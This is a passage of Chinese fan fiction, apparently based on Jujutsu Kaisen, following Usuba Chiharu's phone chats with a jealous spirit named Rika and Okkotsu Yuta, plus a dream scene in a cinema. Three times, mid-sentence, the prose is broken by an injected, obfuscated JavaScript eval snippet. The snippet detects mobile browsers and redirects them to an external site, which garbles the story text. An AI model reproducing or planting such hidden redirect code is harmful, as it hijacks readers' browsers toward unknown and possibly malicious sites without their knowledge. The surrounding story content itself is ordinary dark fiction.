太奇怪,太矛盾了,简直像是两个性格不同的个体糅合在一起……不过毕竟是‘非人存在’嘛,当然不能用看待人类的常规目光去看待。 薄叶千春只能把这些古怪的矛盾点吞下,去关注更重要的东西,比如:刚刚,‘非人存在’为什么不在? 是因为现在是白天吗? 虽然阳光还没到最盛的时候,但还是不可避免地虚弱了?那需要记一下,以后逃跑……啊不是,以后一起出来游玩时要避开晴天,以免‘非人存在’被阳光欺负得太过虚弱,作为朋友,她是会心疼的。 还是因为它的领域被人类入侵,它去进食了?就像是伽椰子之类电影里会出现的‘人类闯入怨灵的住宅,被无差别杀害’剧情。 又或者是‘在积攒力量,松动封印’之类的?毕竟几个月才出现一次,无论怎么看都有点不能自由行动的意思…… 作为朋友,薄叶千春真的很关心‘非人存在’,想知道它目前的处境。 但,‘非人存在’再次沉默。 在消息前缀直接跳成「已读」的同时,一秒、十秒、一分钟、五分钟…… 十分钟过去了,手机安安静静的,没有一丝动静。 终于,在左上角的时间又悄然变动时,一条消息在屏幕上显示出来: [里香。] 「29.」 里香。 里香里香里香里香里香里香里香里香里香…… 别出来。 这里是学校,这里有很多人,别出来。 “薄叶,”愤怒的、模糊不清、宛如梦中呓语的声音在空气中回荡,看似狰狞的非人怪物在不停地吼出人类的语言,“薄叶薄叶薄叶!” 她在尖叫:“我的!” “应该是我!!!” “忧太忧太忧太杀了她!她抢了薄叶!!!” “我们的薄叶!” “杀了她杀了她杀了她!” 如果祈本里香没有遭遇意外,那么,在深夜和薄叶千春一起躺在病床上、悄声窃窃私语的,应该是她和乙骨忧太。 在薄叶千春可以上学后,如前辈般握着她的手掌,领着她在学校中行走、带着她参加社团活动,应该是祈本里香和乙骨忧太。 在父母那里挂了‘朋友’名号,能在深夜互发消息,听到她用带着笑意的声音说‘你是我唯一的朋友嘛’、‘我会担心你’的,应该是祈本里香和乙骨忧太。 在课间,像抱猫一样把薄叶千春揽在怀里,为她涂抹指甲油、为她抿上唇膏的,应该是祈本里香和乙骨忧太。 被她用明亮的眸光所注视的,更应该是祈本里香和乙骨忧太。 而不是同桌。 ‘如果里香没有死’和‘那么,薄叶的朋友,一定是他们’,之间的关键性其实不是非常绝对,说不定连七八岁的小孩子都能理智地想到‘哪怕自己还活着,也不一定能一直和朋友在一起,说不定中间吵架绝交或自然而然疏远了呢?’。 但祈本里香不是理智的小孩子,自于死亡中复苏的那一天起,她便如同做梦,浑浑噩噩,因过分在意,在某些事上的情绪起伏过大,轻而易举便能酝酿出极致的愤怒。 她想冲进教室,想抱回薄叶,想抢夺指甲油,想把小偷先撕碎、再拧成一团塞进衣柜里。 乙骨忧太只能一遍又一遍,近似麻木地叫她的名字,在她愤怒时,不停地说‘别出来’,在她兴奋凑到手机屏幕前时,说:“薄叶的朋友,只有……” 薄叶的朋友,只有我们。 在一天之前,乙骨忧太还可以说出来:那位同桌,和薄叶显然只是表面关系不错。 对薄叶而言,对方大概是‘医院里,唯一还算能看得上的人’? 一旦离开医院,要不了多久,就会被抛弃吧。 毕竟是连薄叶讨厌被叫‘千春’都不知道的人。 但现在,在即将说出口时,乙骨忧太却顿住,迟迟说不出来。 眼神…… 刚刚在和同桌说话时,薄叶千春的眼神…… 是曾经看向祈本里香的眼神。 那双在阳光下显出一种薄荷绿色的眼睛里,有着仿佛清晨雾气般的好感,带着对新朋友的好奇,在露出笑颜时,无意识地收敛了几分眉头,流出点点羞涩。 是面对朋友的情绪。 任谁看到她的神情,都能判断:被她用种眼神所注视的人,一定是她在意之人。 但是…… 但是。 明明在一天之前,薄叶千春不还是有些无所谓的态度吗? 在发语音,吐出朋友之语时,虽带着笑意,却把声音压得很低,用平淡的语气,给人一种仿佛亲密低语的错觉。 经过手机的转换,传到手机对面时,同桌大概听不出来,但听过她对真正朋友的语气,在近距离地侧耳倾听中,乙骨忧太能轻易地分辨出一些区别。 他认为同桌也知道。 否则,不会那么紧张地缠着薄叶千春,环绕在她身边,只要她稍对朋友注意一点、就严阵以待,暗中瞪来。 手机嗡动一声,提示新消息:[里香吗?] [好可爱的名字,是你自己取的吗?] [我可以叫你‘里香酱’吗?感觉这样叫会显得很亲密(笑] 看似态度很正常的。 但距离乙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647644|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨忧太发出消息,到回复消息,有约五分钟的间隔。 这是薄叶千春难得没有第一时间回消息。 在手机震动的那一瞬间,里香便倏尔凑向屏幕,看不太出眼睛在哪里的头部轻碰手机、如花瓣般轻轻动着。 她停顿,自发现薄叶千春没有第一时间回消息、恼羞成怒不停吼出的‘杀了小偷!!!’也戛然而止。 代表着愤怒的火焰停滞住。 乙骨忧太注视着屏幕,松开握得紧紧的手,用很低的声音说:“薄叶……还记得你,里香。” 她还对‘里香’这个名字有隐约的印象,否则,不会莫名停顿那么久才回复。 哪怕现在已经上课……但老师是会选择性无视一些情况的,比如个别学生被同学欺负,比如家庭过好的同学在课上玩手机。 “薄叶,记得,”里香重复,身体像是随着轻风摇曳的风铃,发出喜悦的声音,“记得记得记得记得记得记得!” 她叫:“薄叶!” 里香的注意力从‘杀了小偷!’转到了‘薄叶!’上。 乙骨忧太不动声色地舒出一口气,用更低的声音说:“薄叶很喜欢你,不会讨厌你的。” “她……不喜欢那个人。” 他垂下眼睑,慢慢地编辑消息,“朋友只有我们。” 本来如此。 手机屏幕转动一下,显示他刚发出的新消息:[是的。] 在「已读」后,薄叶千春再次没有回复。 可能是因为又想起了‘里香’,也可能是因为…… 他太无趣了。 乙骨忧太的手指向上划,以往的聊天记录一条条地映入他的眼帘: 薄叶千春的消息都阳光灿烂,像正在玩玩具的猫,发出发动机般的轻鸣声,对他翻肚皮。 他的消息,则像从深海捕捞上来、晒了半个月又重新投掷进海里反复涮洗的鱼,又百般纠结又干巴巴,还充斥着撤回消息这种无用的枯燥提示。 几乎肉眼可见的,她虽还在逐字逐句撒娇,却不再像最开始那样洋溢着热情,充满对‘新朋友’的试探,反而渐渐向对待同桌的态度靠拢。 对薄叶千春而言,回应这些无趣的消息,大概就像是天上下了小鱼干雨,小鱼干们不停地扑在她的身上,把她柔软的毛发打乱、让她沾染上难闻的腥气,她大概很排斥,连飞机耳都要出现了,却只能抿起三瓣嘴忍着吧? 真是抱歉。 要忍耐的,还有更多。 [很好看,]乙骨忧太松开后齿,把口腔里的甜意吞咽下去,又慢吞吞地打字,回复那张漂亮的手指照片,[是你朋友给你涂的吗?] 几秒之后,薄叶千春回复:[不是喔,是同学!] 她又发了一个可爱的笑脸。 乙骨忧太盯着笑脸看,想起她在教室里对同桌露出的笑,也想起她在聊天时敷衍发出的‘(笑’。 在‘里香’话题时,她还可以久久不回复,现在因提到同桌,察觉到自己所排斥的‘非人存在’可能会再次伤害自己承认的朋友,就不得不立刻回复了。 应该很难忍受吧,这种仿佛主动离开建筑物、进入鱼干雨中的感觉。 但是没办法,很难忍受,也要忍受。 他慢慢打字,在里香反复凑过来轻撞手机时,发出明知故问:[只是同学吗?] 薄叶千春再一次立刻回复:[嗯嗯!] [咦,里香酱吃醋了吗?好像闻到了一点甜腻的醋味呢(笑] [我的朋友只有你喔。] 13.13 「30.」 或许是因为被反复逼问‘朋友’的话题,入睡后,熟悉又陌生的梦境再一次降临,薄叶千春睁开眼,发现自己坐在电影院的椅子上。 电影院的灯关着,场内一片昏暗,唯有大屏幕亮着幽幽的光芒,正在播放广告。 不知道即将播放的电影是什么,场内竟然没什么人,薄叶千春环顾四周,也只看到自己的右手边有人:是那个和她差不多年纪的男孩子。 他的面容仍一片模糊,头发是纯黑的,有些蓬松地支棱在头上,在昏暗的环境中,看起来有点像是一颗小海胆,正在低头拆着什么东西。 看了几眼,薄叶千春很快收回视线,再次环顾四周,几乎是习惯性地去寻找那名唇下有浅痣的女孩子。 但她没有找到。 有什么东西从右侧伸来,碰了碰她的面颊。 薄叶千春茫然地侧首看去,发现是那名坐在自己右侧的男孩子,在这几个奇怪的梦里,他和那名女孩子的身份似乎都是她的朋友。 而现在,这名朋友有些踌躇地捏薄叶千春的面颊,力道轻得仿佛在触碰果冻,他的拇指像是橡皮或手帕,轻轻擦着她雪白、没什么污渍的侧脸,擦了几下后,又有些犹疑地停下,“薄叶,刚刚……” “你的脸上,好像有什么脏东西。” 听起来,似乎是很拙劣的借口,完全是在摸了女孩子的脸后不好意思,于是仓促想出来的。 哪怕是小孩子,听到这种话后大概也会一秒识破,忍不住笑出来。 薄叶千春却没有过多关注这个借口,她眯起眼睛,在对方迟疑着停下手后、主动地用脸去蹭那只手,蹭得发出很小、很小的语气声:“唔。” 不知为何,在对方用手触碰她时,她孱弱而疲倦的身体忽而轻松了些,像是某种树根般深深扎在体内的负面东西淡了些,舒服得她宛如在太阳下打盹的猫,甚至有点想翻肚皮的冲动。 朋友好像有些不知所措,僵住几秒,小声叫她的名字,“薄叶?” 他试探性地动起手,再次用指尖轻蹭薄叶千春的面颊,力度轻得和羽毛没区别,带来一阵又一阵的轻微痒意。 但还是很舒服。 薄叶千春的眼睛越发眯起,也反向蹭回去,不知不觉间,便几乎像融化的雪糕,完全倚靠在那只手上、由对方支撑着自己的身体。 “薄叶很喜欢被摸吗?”对方如此问,大概是适应了些,他放松起来,不再那么拘谨,说话间显出一点活泼来,“好像小猫哦。” “其实,” 他用一种故作轻缓的语气,说:“薄叶如果不喜欢交朋友,可以拒绝的。” 欸? 薄叶千春的眼睛很大,正常状态下眼尾是上挑的,显得很像猫眼,不过是那类有些难以接近,常常蹲坐在高处、远远地眺望人类的猫,可舒服得连意识都不太清醒时,她的眼睛便随着弯起而下垂,那种冷淡感融化成黏糊糊的撒娇感。 她勉强睁开一点眼睛,试图分辨朋友在说什么,可很快,又再次沉浸在舒服的摸摸中,摸到格外舒服的时候,左侧的虎牙会露出一点点的尖、轻轻刮擦过人类的虎口,有种随时会冷不丁咬人的微妙感。 ……更像猫了。 “猫、”朋友窘迫地改口,“薄叶一开始不是很喜欢我们吧?现在也是,不是很喜欢一些游玩的提议。” “既然不喜欢,就要说出来,我们是朋友,不是吗?” 他好像叫出一个名字,在薄叶千春听来,却是金属耳鸣声,“**知道你在强忍着不喜欢,也会自责的。” “薄叶?” “……薄叶?” 话有点多。 薄叶千春很困惑地想:原来,他不是安静的人设,之前一直不怎么说话也不是因为生性不爱说话,而是认为她不喜欢和他们交朋友,也不喜欢一些游玩项目,觉得她是在强忍着不喜欢,所以踌躇着不知道该说些什么吗? 正在想着,一个冰凉凉的东西碰了碰她的唇,是冰球。 朋友想把粉色冰球分成两半,但只有一只手还能活动,只能把整颗冰球举起来、抵在薄叶千春唇边,呼唤她:“快回回神啦,薄叶。” “你好像小猫哦。” 他再次感叹,又提醒:“只能咬一半。” 什么? 薄叶千春立刻把整个冰球含进嘴里。 朋友:“……?” 他沉默了下,捏着木棍把冰球往外拽了拽,发现拽不动,再次:“……” “只能吃一半,吃太多冰的,会生病……薄叶?” 薄叶千春没在听。 冰冰的、甜蜜的清甜在她的口腔中弥漫开,她用鼓起一边的侧脸继续去蹭朋友的手,在双重舒服buff之下,眼睛眯成了弯弯的月牙。 展厅侧方的光影变化一下,有一道纤细的人影走进来,下一刻,薄叶千春的侧脸一冰,她下意识睁开眼,看到了可乐杯。 红色的可乐杯之后,是一张有些模糊、可仍能窥见几分狡黠的笑脸,对方说出了过分熟悉的话:“好像猫呦,薄叶。” 是那名唇下有浅痣的女孩子,是薄叶千春在这个奇异连续梦境中的女性朋友。 女性朋友笑着说:“我回来啦,看,是可乐!” “司机叔叔没有发现,我拜托工作人员小姐偷偷带到走道给我的。” 她又用可乐杯碰了碰薄叶千春的面颊,旋即像发现什么一样,向前凑来,“欸,薄叶的瞳孔居然在放大吗?好可爱。” 距离在拉近。 假如是在现实,薄叶千春大概不适应和不熟悉的人如此接近,可她在梦境,而且在梦境中和这位女性是朋友,所以她没有后撤,只是仰头看去。 黑色的发顺着她仰起头的弧度而向后滑,像是墨汁,昏暗的展厅中,屏幕的光芒把她白色的面颊照得仿佛莹莹生辉,她的目光从可乐杯上移开,专注地观察起女性朋友,视线试图穿过层层薄雾,看到对方的真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658300|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面孔。 久久的对视间,对方伸手,笑着摸了摸薄叶千春的脖颈,掌心在包裹着侧颈弧线、尾指则轻轻点了点她肩头的红痣,“是在撒娇吗?” “好敏锐呀,不愧是本能派,薄叶。” 那只可乐杯被男性朋友接过,他又恢复了安静状态,好像在薄叶千春不回应是不是不喜欢他们后,开始重新观察她和女性朋友之间的相处,判断她们是单方面的交朋友、还是双向奔赴。 女性朋友把薄叶千春垂在肩头的头发往后顺,笑着说:“我没有生气,只是有些惊讶你们关系不错。” 又有些若有所思:“原来,我们和你一起交朋友,你对我们的好感度是共用的……” 不知道想到什么,女性朋友越发笑盈盈起来,笑意盛到哪怕面上朦胧着雾气,薄叶千春也能看出对方很开心,还心情不错地捏了捏她的面颊,夸她:“适应得好快,完全是天才呢,薄叶。” 欸? 薄叶千春眨了眨眼睛。 女性朋友没有解释的意思,只是单膝侧向薄叶千春左侧的座椅,用手收拢她的黑发,“散着头发不方便,等下还要喝可乐,可能会有发丝垂下来沾到水珠,我帮你扎起来。” “你们等下也要帮我扎起来哦。” “**,”疑似名字的音节再一次被金属锐鸣声覆盖,女性朋友说,“喂薄叶喝点可乐吧。” 她的声音里带着笑意,轻弹了一下薄叶千春含着的木棍,“在冰球完全融化前。” 男性朋友举起可乐杯,试探性地递到薄叶千春唇边。 刚刚,好像有什么微妙的事溜过去了。 薄叶千春如此想着,暖洋洋的余温还残留在她的身体四肢,让她产生一种近似在太阳下晒得昏昏欲睡的错觉,她张口,含住可乐杯的吸管。 在她张口时,男性朋友似乎提前准备过,立刻伸手捏住木棍,把湿漉漉的冰球带了出来,他的动作太快,连带着可乐杯也晃了晃,发出清脆的冰块碰撞声。 如风铃般的冰块声中,薄叶千春喝到了可乐,一种带有刺激感的、一开始甚至会让人产生辛辣错觉的味道在她的口腔深处蔓延开,她的眼睛睁圆了几分,下意识停止吞咽、把没吞咽下去的那部分可乐含在嘴里,“呜?!” 几秒后,刺激感消去,才有黏糊的甜意翻涌上来,冰冰凉凉地重新攻占薄叶千春的口腔。 她惊奇地眨了眨眼睛,脸被女性朋友捧起,对方垂下头,在头发垂落而形成的亲密空间里,和她抵了抵鼻尖,对她笑:“怎么样,很奇妙的感觉吧?” “我说过呦,会让薄叶感受快乐的。” 薄叶千春感觉到自己吞咽下可乐,在仍存在的点点黏感中,发出很低的、带着一些不好意思的声音: “里香。” 「31.」 天光炸亮。 薄叶千春睁开眼,怔怔了几秒,重复:“里、里香?” 她在梦里的女性朋友……是里香?! 14.14 「32.」 昏暗的电影院里,小孩子们靠在一起,对大人而言还算正好的座椅,对孩子而言却显得过于空旷。 大屏幕正在播放一部热血动漫电影,在接近结局的时刻,主角在绝境中焕发出不可思议的力量,于千钧一发之际救下朋友。 屏幕的光辉在昏暗中交织,挥洒在三张孩子的稚气面庞上,在节奏相当快的急切BGM中,乙骨忧太若有所思地侧首,看向身侧的两张脸颊。 薄叶千春蹙起了眉头,看起来有些困惑电影所传达的‘友情很重要,是人生中的一束光’,这是大多数人都能不假思索接受的,可她解读起来却有些费劲。 祈本里香则漫不经心,显得有几分洞悉世事的轻慢,她的身体倾向座椅中间的把手上,在重音台词和BGM中,用理所应当的口吻,开口:“友情,可是很重要的。” 彼时,和乙骨忧太的性格还比较开朗,是那类能在朋友面前灿烂笑出来的孩子,对他而言,‘友情很重要’是无需多言的,他仅凭本能,就可以无师自通,认真地把朋友放在心上。 对过分成熟,在太过小的年纪便洞悉许多人生道理的祈本里香而言,感情虽错综复杂,但只要占据关系中的主导权,‘友情很重要’便是如蛛丝般不动声色缠绕住猎物的好用手段。 在两个见解截然不同的节点中间,是薄叶千春,她似懂非懂,无法理解为什么人在绝境之处、为何会因为他人而重新燃起力量。 连‘自己即将死亡’都无法再点燃的求生欲和爆发力,怎么会只因‘想起他人的笑颜’而忽然焕发呢? “不是‘他人’,”祈本里香纠正,“是‘朋友’。” 昏暗的展厅里,她的眼眸仿佛化为浓郁的墨色,她笑着,慢条斯理地说:“朋友,是很不一样的存在哦。” “人生中的百分之九十,都是由各种各样的‘朋友’构成的,换而言之,可以这么说:从交到第一个朋友开始,你的每一天,几乎都有朋友的参与。” “哪怕只是一个照面,哪怕只是一条消息,哪怕只是有那么短暂一瞬想起了朋友……她也参与进了你人生中的一天,然后就那么一点一点、看似不起眼地积蓄着力量,最终贯穿整个人生,就像是人体中的血管脉络,看起来那么细,可组合起来,却在维持一个人的生命。” 电影里,主角已救下朋友,节奏轻盈起来,带着点风铃般的脆声,仿佛若有所思的恍然。 祈本里香墨水一般的瞳孔里,倒影着薄叶千春的面颊,她渐渐舒缓眉,歪头,简单扎起的发顺着背轻动的弧度流向一侧,露出一部分洁白的后颈。 她问:“所以,里香是想参与我的人生?” 从乙骨忧太的角度,看不清薄叶千春的表情,只能从瞳孔倒影中窥见她模糊的面颊,却能看到祈本里香的表情,她弯起眼睛,红色唇瓣下的那点痣似乎浓了些,用的是过分温柔的语调,“嗯,我和忧太想参与薄叶的人生。” “无论是现在,还是以后。” 薄叶千春:“嗯……” 她似乎在努力思考,声音里带上了困惑,“那,你们能够付出什么?” 想要参与一个人的人生,成为对方的血管脉络,听起来是说不定要付出很多东西、才能达成的事。 “朋友是双向的。”祈本里香提醒,“在我成为你朋友的那一刻,你也在成为我的朋友。” 所以,在他们参与薄叶千春的人生,成为她的血管脉络时,她也会参与他们的人生,成为他们的血管脉络。 薄叶千春接受了这个提醒,补充问题:“那,我能够付出什么?” 祈本里香挽起唇:“真心呦。” “真心是指发自内心地和想某人做朋友,想为朋友付出些什么,想对朋友做某事。” “薄叶可能不太理解,”她笑盈盈的,“这样吧,在你有发自内心想对朋友做的事之前、都听我和忧太的,怎么样?” “薄叶想要参与我的人生,需要注视我、和我交谈、拥抱我,你的快乐和烦恼,我都想知道,我的快乐和烦恼,都想让你参与……” “从今天起,我们成为真正的朋友吧?” 闻言,薄叶千春先是思索片刻,而后侧首看向乙骨忧太。 她那张带着思忖的面颊映入乙骨忧太的眼睛,他看到她再次苦恼蹙起的眉头、抿出弧线的唇,也看见她在光影下拖曳出长影的眼睫。 几息后,薄叶千春又回首,慢吞吞地问:“只是这样吗?” “只是这样的话……” “里香和忧太,”电影里的风铃伴奏停歇,她的声音却仍在响,“早已经是我的朋友了呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664239|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「33.」 清脆的、犹如风铃的声音仍在耳边回荡。 乙骨忧太垂下眼睛,发送信息:[你会对朋友做怎样的事?] 发送时间:04:51:37。 「34.」 薄叶千春点亮屏幕。 她的困意都被‘里香’这个名字惊去,只留下太阳穴处的几分钝钝痛感,手指还有些无力,摸索了一下才成功摁开手机,旋即看到浮在通知栏的消息提示: [你会对朋友做怎样的事?] ……什么意思? 薄叶千春怔住,大脑极速运转:‘非人存在’是什么意思?在警告吗?还是在威胁? 所谓‘只是同学’的说法,或许能瞒过其他人,却瞒不过曾对同桌产生杀意的‘非人存在’,她知道。 但‘非人存在’刷新冷却时间那么久,下次出现大概起码也得一个月后。 一个月,足够薄叶千春和同桌疏远,退到普通同学的关系。 届时,就算‘非人存在’再百般狐疑地研究,也不会发现她们交朋友的证据,她再撒撒娇,转移转移注意力,它大概率不会对同桌动手。 只是,‘撒娇’和‘转移注意力’都是薄叶千春准备在和‘非人存在’面对面时使出来的技能,在网上,对方态度过于古怪,她不是很确定这套技能会不会打出预期伤害,更不太理解‘非人存在’这条消息后的本意 她拧起眉头,努力思考着自己的回答:注视?交谈?拥抱?参与快乐与烦恼? ‘非人存在’到底什么意思,倒是说清楚是在威胁、警告,还是在撒娇,又或者是在暗示什么…… 蹙眉苦思许久,薄叶千春假装毫不心虚、理直气壮地走‘暗示’路线,举起手机,摁下语音键,出声:“早安,嗯……啵?” 她松开手指。 语音条‘咻’地一声弹出,带着迟疑的问好声和亲吻声停落在对话框里。 并秒变「已读」。 一秒。 一分钟。 十分钟。 半个小时转瞬即逝,手机静悄悄的,没有一丝动静,‘非人存在’仿佛合格的前男友,让人狐疑是否死去。 薄叶千春:“?” 怎么又已读不回! 这家伙真的不吃这套吗?!